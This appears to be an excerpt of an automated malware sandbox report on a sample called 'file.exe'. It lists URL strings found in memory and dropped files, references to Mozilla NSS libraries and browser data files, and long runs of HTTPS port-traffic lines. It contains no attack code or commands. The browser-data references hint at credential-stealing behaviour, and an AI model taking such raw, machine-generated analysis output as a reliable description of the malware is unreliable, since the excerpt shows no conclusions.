Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: HJJKJJDHCGCAECAAECFHDAECFH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HJJKJJDHCGCAECAAECFHDAECFH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HJJKJJDHCGCAECAAECFHDAECFH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2775237203.0000000023B42000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDHCGCAECAAECFH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JEHIJJKE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8b013bdd-f270-4931-8c4f-1a15f3e5a078.tmp.11.dr, 3a2c69d2-c4cb-4ea5-ac91-4a1edb2b3955.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: HJJKJJDHCGCAECAAECFHDAECFH.0.dr	String found in binary or memory: https://www.mozilla.org
Source: HJJKJJDHCGCAECAAECFHDAECFH.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: HJJKJJDHCGCAECAAECFHDAECFH.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: HJJKJJDHCGCAECAAECFHDAECFH.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: HJJKJJDHCGCAECAAECFHDAECFH.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2775237203.0000000023B42000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDHCGCAECAAECFH.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49743 version: TLS 1.2
